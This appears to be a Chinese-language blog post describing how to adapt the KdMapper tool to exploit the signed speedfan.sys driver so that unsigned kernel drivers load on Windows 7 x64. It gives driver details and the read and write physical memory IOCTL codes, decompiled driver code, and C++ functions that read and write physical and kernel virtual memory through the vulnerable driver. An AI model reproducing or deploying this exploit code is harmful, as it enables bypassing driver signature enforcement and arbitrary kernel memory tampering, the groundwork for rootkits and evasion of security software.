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1.背景
KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动，本文是利用其它漏洞（参考《【转载】利用签名驱动漏洞加载未签名驱动》）做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。
2.驱动信息
| 驱动名称 | speedfan.sys |
| 时间戳 | 50DF59B7 |
| MD5 | 0FFE35F0B0CD5A324BBE22F02569AE3B |
| 文件版本 | 2.3.11.0 |
| 设备名称 | \\.\SpeedFan |
| 读物理内存 | 0x9C402428 |
| 写物理内存 | 0x9C40242C |
| Windows 7 | 支持 |
| Windows 10 | 不支持 |
| Windows 11 | 不支持 |
3.IDA分析
3.1 入口函数：
NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{unsigned __int64 v2; // raxv2 = BugCheckParameter2;if (!BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232i64){v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFi64;if (!v2)v2 = 0x2B992DDFA232i64;BugCheckParameter2 = v2;}BugCheckParameter3 = ~v2;return CreateDevice(DriverObject, RegistryPath);
}3.2 创建设备和符号链接
NTSTATUS __fastcall CreateDevice(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{NTSTATUS result; // eax_UNICODE_STRING* v5; // rdisize_t v6; // rax__int64 v7; // r8NTSTATUS v8; // eaxNTSTATUS v9; // edi__int64 v10; // [rsp+20h] [rbp-38h]struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-18h] BYREFPDEVICE_OBJECT DeviceObject; // [rsp+68h] [rbp+10h] BYREFRtlInitUnicodeString(&DestinationString, aDeviceSpeedfan);result = IoCreateDevice(DriverObject, RegistryPath->Length + 114, &DestinationString, 0x9C40u, 0, 0, &DeviceObject);if (result >= 0){DeviceObject->Flags |= 4u;v5 = (_UNICODE_STRING*)DeviceObject->DeviceExtension;*(_DWORD*)&v5[2].Length = 0;*(_DWORD*)(&v5[2].MaximumLength + 1) = 0;LODWORD(v5[2].Buffer) = 0;v5[1].MaximumLength = RegistryPath->MaximumLength;v6 = RegistryPath->Length;v5[1].Buffer = &v5[7].Length;v5[1].Length = v6;memmove(&v5[7], RegistryPath->Buffer, v6);sub_175B4(v5);if ((int)sub_176C8(v5) >= 0){v7 = *(unsigned int*)&v5[2].Length;if (_bittest((const int*)&v7, 0x1Du)){LODWORD(v10) = v5[2].Buffer;DbgPrint("SpeedFan %s Built Dec 29 2012 21:59:34 Debug %08X Break %08X Setup %08X\n",aX20311,v7,*(unsigned int*)(&v5[2].MaximumLength + 1),v10);}}v8 = IoCreateSymbolicLink(v5, &DestinationString);v9 = v8;if (v8 >= 0 || v8 == 0xC0000035){DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_17008;DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_11008;DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_114C8;DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)DeviceIoControl;result = 0;}else{IoDeleteDevice(DeviceObject);result = v9;}}return result;
}3.3 DeviceIoControl
__int64 __fastcall DeviceIoControl(PDEVICE_OBJECT pDeviceObject, IRP* pIrp)
{_IO_STACK_LOCATION* pIosp; // raxint ntStatus; // ebxPHYSICAL_ADDRESS* pMemoryInfo; // rdiunsigned int nInputBufferLength; // er12SIZE_T nOutputBufferLength; // r13unsigned int nIoControlCode; // esiLONGLONG PhysicalAddressV31; // rbxPVOID pMappedIoSpaceV32; // raxvoid* pMappedIoSpaceV33; // r14LONGLONG PhysicalAddressV34; // rbxPVOID pMappedIoSpaceV35; // raxvoid* pMappedIoSpaceV36; // r14void* Dst; // [rsp+20h] [rbp-D8h]LONGLONG PhysicalAddressV52; // [rsp+70h] [rbp-88h]LONGLONG PhysicalAddressV53; // [rsp+70h] [rbp-88h]void* PhysicalAddress; // [rsp+100h] [rbp+8h]IRP* Irp; // [rsp+108h] [rbp+10h]Irp = pIrp;pIosp = pIrp->Tail.Overlay.CurrentStackLocation;pIrp->IoStatus.Information = 0i64;ntStatus = 0xC0000023;pMemoryInfo = (PHYSICAL_ADDRESS*)pIrp->AssociatedIrp.SystemBuffer;nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;nOutputBufferLength = pIosp->Parameters.DeviceIoControl.OutputBufferLength;nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;......switch (nIoControlCode){case 0x9C402428:if (nInputBufferLength >= 8 && (_DWORD)nOutputBufferLength)// 读物理内存{PhysicalAddressV34 = pMemoryInfo->QuadPart;PhysicalAddressV53 = pMemoryInfo->QuadPart;pMappedIoSpaceV35 = MmMapIoSpace(*pMemoryInfo, nOutputBufferLength, MmNonCached);pMappedIoSpaceV36 = pMappedIoSpaceV35;*(_QWORD*)MajorVersion = pMappedIoSpaceV35;if (pMappedIoSpaceV35){if (_bittest(v55, 0xEu)){LODWORD(v47) = nOutputBufferLength;DbgPrint("IOCTL_PHYMEM_READ ofo %p pad %08X_%08X vad %p siz %06X\n",v51,HIDWORD(PhysicalAddressV53),(unsigned int)PhysicalAddressV34,pMappedIoSpaceV35,v47);}memmove(pMemoryInfo, pMappedIoSpaceV36, nOutputBufferLength);Irp->IoStatus.Information = nOutputBufferLength;ntStatus = 0;v59 = 0;MmUnmapIoSpace(pMappedIoSpaceV36, (unsigned int)nOutputBufferLength);}else{ntStatus = 0xC0000088;}}goto LABEL_145;case 0x9C40242C:if (nInputBufferLength > 8) // 写物理内存{PhysicalAddressV31 = pMemoryInfo->QuadPart;PhysicalAddressV52 = pMemoryInfo->QuadPart;nInputBufferLength -= 8;pMappedIoSpaceV32 = MmMapIoSpace(*pMemoryInfo, nInputBufferLength, MmNonCached);pMappedIoSpaceV33 = pMappedIoSpaceV32;*(_QWORD*)MajorVersion = pMappedIoSpaceV32;if (pMappedIoSpaceV32){if (_bittest(v55, 0xEu)){LODWORD(v47) = nInputBufferLength;DbgPrint("IOCTL_PHYMEM_WRITE ofo %p pad %08X_%08X vad %p siz %06X\n",v51,HIDWORD(PhysicalAddressV52),(unsigned int)PhysicalAddressV31,pMappedIoSpaceV32,v47);}memmove(pMappedIoSpaceV33, &pMemoryInfo[1], nInputBufferLength);Irp->IoStatus.Information = 0i64;ntStatus = 0;v59 = 0;MmUnmapIoSpace(pMappedIoSpaceV33, nInputBufferLength);}else{ntStatus = 0xC0000088;}}goto LABEL_145;LABEL_145:if (ntStatus >= 0)goto LABEL_149;v5 = v51;goto LABEL_147;}......LABEL_149:Irp->IoStatus.Status = ntStatus;IofCompleteRequest(Irp, 0);return (unsigned int)ntStatus;
}其中 0x9C402428 为读取物理内存， 0x9C40242C 为写入物理内存。
3.4 使用注意事项
实现使用的是MmMapIoSpace将物理内存映射到进程空间或者之后再读写。由于使用了物理内存，在代码过程中会遇到物理页面和虚拟页面不一一对应的问题，问题说明及解决办法见《KdMapper扩展中遇到的相关问题》。
4. 代码实现
4.1 .h文件
#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset) ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset)) ))
#endif#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer) ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base)) ))
#endif#define SPEEDFAN_DEVICE_TYPE (DWORD)0x9C40
#define SPEEDFAN_READ_PHYSICAL_MEMORY_FUNCID (DWORD)0x90A
#define SPEEDFAN_WRITE_PHYSICAL_MEMORY_FUNCID (DWORD)0x90B#define IOCTL_SPEEDFAN_READ_PHYSICAL_MEMORY \CTL_CODE(SPEEDFAN_DEVICE_TYPE, SPEEDFAN_READ_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402428
#define IOCTL_SPEEDFAN_WRITE_PHYSICAL_MEMORY \CTL_CODE(SPEEDFAN_DEVICE_TYPE, SPEEDFAN_WRITE_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C40242C
4.2 .c文件
NTSTATUS sokno_driver::SuperCallDriverEx(_In_ HANDLE DeviceHandle,_In_ ULONG IoControlCode,_In_ PVOID InputBuffer,_In_ ULONG InputBufferLength,_In_opt_ PVOID OutputBuffer,_In_opt_ ULONG OutputBufferLength,_Out_opt_ PIO_STATUS_BLOCK IoStatus)
{IO_STATUS_BLOCK ioStatus;NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,NULL,NULL,NULL,&ioStatus,IoControlCode,InputBuffer,InputBufferLength,OutputBuffer,OutputBufferLength);if (ntStatus == STATUS_PENDING) {ntStatus = NtWaitForSingleObject(DeviceHandle,FALSE,NULL);}if (IoStatus)*IoStatus = ioStatus;return ntStatus;
}BOOL sokno_driver::SuperCallDriver(_In_ HANDLE DeviceHandle,_In_ ULONG IoControlCode,_In_ PVOID InputBuffer,_In_ ULONG InputBufferLength,_In_opt_ PVOID OutputBuffer,_In_opt_ ULONG OutputBufferLength)
{BOOL bResult;IO_STATUS_BLOCK ioStatus;NTSTATUS ntStatus = SuperCallDriverEx(DeviceHandle,IoControlCode,InputBuffer,InputBufferLength,OutputBuffer,OutputBufferLength,&ioStatus);bResult = NT_SUCCESS(ntStatus);SetLastError(RtlNtStatusToDosError(ntStatus));return bResult;
}BOOL WINAPI sokno_driver::SuperReadWritePhysicalMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR PhysicalAddress,_In_reads_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes,_In_ BOOLEAN DoWrite)
{BOOL bResult = FALSE;DWORD dwError = ERROR_SUCCESS;__try {if (DoWrite) {PPHYSICAL_ADDRESS pWriteInfo = (PPHYSICAL_ADDRESS)malloc(sizeof(PHYSICAL_ADDRESS) + NumberOfBytes);if (pWriteInfo){pWriteInfo->QuadPart = PhysicalAddress;RtlCopyMemory(&pWriteInfo[1], Buffer, NumberOfBytes);bResult = SuperCallDriver(DeviceHandle, IOCTL_SPEEDFAN_WRITE_PHYSICAL_MEMORY, pWriteInfo, sizeof(PHYSICAL_ADDRESS) + NumberOfBytes, NULL, NULL);if (!bResult){Log(L"SuperReadWritePhysicalMemory Write Memory SuperCallDriver failed\r\n");}}else{Log(L"SuperReadWritePhysicalMemory Write Memory malloc failed\r\n");}}else {PHYSICAL_ADDRESS address;address.QuadPart = PhysicalAddress;bResult = SuperCallDriver(DeviceHandle, IOCTL_SPEEDFAN_READ_PHYSICAL_MEMORY, &address, sizeof(address), Buffer, NumberOfBytes);if (!bResult){Log(L"SuperReadWritePhysicalMemory Read Memory SuperCallDriver failed\r\n");}}}__except (EXCEPTION_EXECUTE_HANDLER) {bResult = FALSE;dwError = GetExceptionCode();Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);}SetLastError(dwError);return bResult;
}BOOL WINAPI sokno_driver::SuperReadPhysicalMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR PhysicalAddress,_In_ PVOID Buffer,_In_ ULONG NumberOfBytes)
{return SuperReadWritePhysicalMemory(DeviceHandle,PhysicalAddress,Buffer,NumberOfBytes,FALSE);
}BOOL WINAPI sokno_driver::SuperWritePhysicalMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR PhysicalAddress,_In_reads_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes)
{return SuperReadWritePhysicalMemory(DeviceHandle,PhysicalAddress,Buffer,NumberOfBytes,TRUE);
}BOOL WINAPI sokno_driver::SuperWriteKernelVirtualMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR Address,_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes)
{BOOL bResult;ULONG_PTR physicalAddress = 0;SetLastError(ERROR_SUCCESS);bResult = SuperVirtualToPhysical(DeviceHandle,Address,&physicalAddress);if (bResult) {bResult = SuperReadWritePhysicalMemory(DeviceHandle,physicalAddress,Buffer,NumberOfBytes,TRUE);}return bResult;
}BOOL WINAPI sokno_driver::SuperReadKernelVirtualMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR Address,_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes)
{BOOL bResult;ULONG_PTR physicalAddress = 0;SetLastError(ERROR_SUCCESS);bResult = SuperVirtualToPhysical(DeviceHandle,Address,&physicalAddress);if (bResult) {bResult = SuperReadWritePhysicalMemory(DeviceHandle,physicalAddress,Buffer,NumberOfBytes,FALSE);}return bResult;
}
其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。
同时由于使用了MmMapIoSpace,故其只能在Win7上运行，详见《KdMapper扩展实现之虚拟地址转物理地址 》。
5. 运行效果
Windows 7 x64 环境上运行的效果如下，其中驱动 HelloWorld.sys为未签名的驱动，其详细说明见文章《KdMapper被加载驱动的实现》。
6.特别提示
使用 speedfan.sys 制作的KdMapper只能在Win 7 x64环境上运行，Win10以上环境由于使用了MmMapIoSpace会导致蓝屏。